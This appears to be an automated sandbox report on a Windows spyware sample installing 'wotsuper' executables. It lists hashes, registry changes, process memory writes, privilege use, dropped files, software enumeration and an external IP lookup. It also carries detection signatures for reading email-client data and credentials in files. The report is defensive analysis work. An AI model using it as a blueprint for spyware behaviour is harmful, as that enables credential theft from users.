8598147a91005830b94021bf5bf401e1b10d55ff940244394e8fb3bb8f494539

General

Target

bf3b6f2d4a4e2619baee470543f8e993.exe
Size

671KB
MD5

bf3b6f2d4a4e2619baee470543f8e993
SHA1

8b90952e5eb5741282e30ef486d0f01ac811d0e0
SHA256

8598147a91005830b94021bf5bf401e1b10d55ff940244394e8fb3bb8f494539
SHA512

10b3231974cf44383d148846a9f72d78f7a69ecfdd48dcc638235ed777ae158c065cfc3e3bc4b07abdd8ebe716852801827e44d0d4211e73811587b464c4a0ce

Score

8^/10

spyware discovery

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

wotsuper1.exewotsuper.exe

pid process

532 wotsuper1.exe
532 wotsuper1.exe
532 wotsuper1.exe
1616 wotsuper.exe
532 wotsuper1.exe
1616 wotsuper.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
532	wotsuper1.exe
532	wotsuper1.exe
532	wotsuper1.exe
1616	wotsuper.exe
532	wotsuper1.exe
1616	wotsuper.exe

Modifies data under HKEY_USERS 17 IoCs

Processes:

wotsuper.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecision = "0"	wotsuper.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadNetworkName = "Network"	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\32-e2-17-db-d2-77	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	wotsuper.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77	wotsuper.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = f0a37abbef54d601	wotsuper.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy = "1"	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	wotsuper.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	wotsuper.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecisionTime = f0a37abbef54d601	wotsuper.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1"	wotsuper.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0"	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings	wotsuper.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	wotsuper.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{C7121406-7FD4-42C9-B2AC-0BA026A12C21}\WpadDecisionReason = "1"	wotsuper.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab800000000020000000000106600000001000020000000f13a398cd987365d15face6e04181c4e314313b46440fed722d7d03def2fd84a000000000e800000000200002000000074d2b5a8d1574f4917b77ae31e4ba188621c0c49fe599c40d834a33835fc3bf520000000a7a8c8e25b93726f12ea8c1040c8353defac7536240cf564a4992aae72b70bc8400000005214d784536bac65d481d6b46c9179e796e54fc7f71e3dd99ffdc95c14aa828b1f422eaf87ff4f45b819a28b0cdfedee0107a7d0bda212af1c27820ae541e586	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000001b0829a874ca164698fa08cb019bbab8000000000200000000001066000000010000200000000ab2eb79de2167459b247054cb8c925a5fc9b91bdd3a3ef4fdae5a68b895c5e7000000000e8000000002000020000000d28cced45e2e77c1e088826149bbaef42cf5535958b3c482f407076ad1207b9990000000cf5daf028cc7ed03e2b9cda7e694ccf609b09ec3ad439b8bf7323bd5856c485146664d686c83c8d4c40f0bea5f145beef4599ea676ba2359b56f952c37f027c428f52bbdf66eb0e3ebae82308a5635f5abec83293ca49dfece1d2c7dac53c179476c899901efa68d761233c654efad20b95e35b7d734ca8044fac92123577b02944f6c9591b3ca8b53f96a3cc2769a04400000008729ef9dd6a88f6b5f32e84057a755eb057fabab787ce55c7812eb7c55dcce2406a089e321681adcd1815bad86934f7dd3509604edc225881633f24df897809c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "300954127"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F077EA91-C0E2-11EA-8E31-CE94C9E5ACDD} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 3016b7c7ef54d601	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exewotsuper.exe

description pid process

Token: SeDebugPrivilege 1112 taskkill.exe
Token: SeDebugPrivilege 1616 wotsuper.exe
Token: SeCreateTokenPrivilege 1616 wotsuper.exe

description	pid	process
Token: SeDebugPrivilege	1112	taskkill.exe
Token: SeDebugPrivilege	1616	wotsuper.exe
Token: SeCreateTokenPrivilege	1616	wotsuper.exe

Modifies system certificate store 2 IoCs

Processes:

IEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	IEXPLORE.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	IEXPLORE.EXE

Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

1040 regedit.exe

pid	process
1040	regedit.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

bf3b6f2d4a4e2619baee470543f8e993.exeiexplore.exewotsuper1.execmd.exewotsuper.execmd.exe

description	pid	process	target process
PID 1492 wrote to memory of 1016	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	iexplore.exe
PID 1492 wrote to memory of 1016	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	iexplore.exe
PID 1492 wrote to memory of 1016	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	iexplore.exe
PID 1492 wrote to memory of 1016	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	iexplore.exe
PID 1492 wrote to memory of 1616	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper.exe
PID 1492 wrote to memory of 1616	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper.exe
PID 1492 wrote to memory of 1616	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper.exe
PID 1492 wrote to memory of 1616	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper.exe
PID 1492 wrote to memory of 532	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper1.exe
PID 1492 wrote to memory of 532	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper1.exe
PID 1492 wrote to memory of 532	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper1.exe
PID 1492 wrote to memory of 532	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	wotsuper1.exe
PID 1492 wrote to memory of 1040	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	regedit.exe
PID 1492 wrote to memory of 1040	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	regedit.exe
PID 1492 wrote to memory of 1040	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	regedit.exe
PID 1492 wrote to memory of 1040	1492	bf3b6f2d4a4e2619baee470543f8e993.exe	regedit.exe
PID 1016 wrote to memory of 1892	1016	iexplore.exe	IEXPLORE.EXE
PID 1016 wrote to memory of 1892	1016	iexplore.exe	IEXPLORE.EXE
PID 1016 wrote to memory of 1892	1016	iexplore.exe	IEXPLORE.EXE
PID 1016 wrote to memory of 1892	1016	iexplore.exe	IEXPLORE.EXE
PID 532 wrote to memory of 1476	532	wotsuper1.exe	cmd.exe
PID 532 wrote to memory of 1476	532	wotsuper1.exe	cmd.exe
PID 532 wrote to memory of 1476	532	wotsuper1.exe	cmd.exe
PID 532 wrote to memory of 1476	532	wotsuper1.exe	cmd.exe
PID 1476 wrote to memory of 1112	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 1112	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 1112	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 1112	1476	cmd.exe	taskkill.exe
PID 1616 wrote to memory of 1652	1616	wotsuper.exe	cmd.exe
PID 1616 wrote to memory of 1652	1616	wotsuper.exe	cmd.exe
PID 1616 wrote to memory of 1652	1616	wotsuper.exe	cmd.exe
PID 1616 wrote to memory of 1652	1616	wotsuper.exe	cmd.exe
PID 1652 wrote to memory of 472	1652	cmd.exe	PING.EXE
PID 1652 wrote to memory of 472	1652	cmd.exe	PING.EXE
PID 1652 wrote to memory of 472	1652	cmd.exe	PING.EXE
PID 1652 wrote to memory of 472	1652	cmd.exe	PING.EXE

Loads dropped DLL 7 IoCs

Processes:

bf3b6f2d4a4e2619baee470543f8e993.exewotsuper1.exe

pid	process
1492	bf3b6f2d4a4e2619baee470543f8e993.exe
1492	bf3b6f2d4a4e2619baee470543f8e993.exe
1492	bf3b6f2d4a4e2619baee470543f8e993.exe
532	wotsuper1.exe
532	wotsuper1.exe
532	wotsuper1.exe
532	wotsuper1.exe

Executes dropped EXE 2 IoCs

Processes:

wotsuper.exewotsuper1.exe

pid process

1616 wotsuper.exe
532 wotsuper1.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1016 iexplore.exe
1016 iexplore.exe
1892 IEXPLORE.EXE
1892 IEXPLORE.EXE
1892 IEXPLORE.EXE
1892 IEXPLORE.EXE
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1016 iexplore.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

24 ip-api.com

pid	process
1616	wotsuper.exe
532	wotsuper1.exe

pid	process
1016	iexplore.exe
1016	iexplore.exe
1892	IEXPLORE.EXE
1892	IEXPLORE.EXE
1892	IEXPLORE.EXE
1892	IEXPLORE.EXE

pid	process
1016	iexplore.exe

flow	ioc
24	ip-api.com

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wotsuper1.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wotsuper1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wotsuper1.exe

Drops file in Windows directory 1 IoCs

Processes:

bf3b6f2d4a4e2619baee470543f8e993.exe

description ioc process

File opened for modification C:\Windows\wotsuper.reg bf3b6f2d4a4e2619baee470543f8e993.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

description	ioc	process
File opened for modification	C:\Windows\wotsuper.reg	bf3b6f2d4a4e2619baee470543f8e993.exe

Drops file in Program Files directory 4 IoCs

Processes:

bf3b6f2d4a4e2619baee470543f8e993.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe	bf3b6f2d4a4e2619baee470543f8e993.exe
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe	bf3b6f2d4a4e2619baee470543f8e993.exe
File opened for modification	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.exe	bf3b6f2d4a4e2619baee470543f8e993.exe
File created	C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.ini	bf3b6f2d4a4e2619baee470543f8e993.exe

Checks whether UAC is enabled 2 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iexplore.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IEXPLORE.EXE

Checks for installed software on the system 1 TTPs 114 IoCs

discovery

Query Registry

T1012

Processes:

wotsuper.exewotsuper1.exebf3b6f2d4a4e2619baee470543f8e993.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0115-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName	wotsuper.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\wotsuper 2.1\DisplayName = "wotsuper 2.1"	bf3b6f2d4a4e2619baee470543f8e993.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0043-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0409-1000-0000000FF1CE}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\wotsuper 2.1\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName	wotsuper.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	wotsuper.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName	wotsuper.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName	wotsuper1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	wotsuper.exe
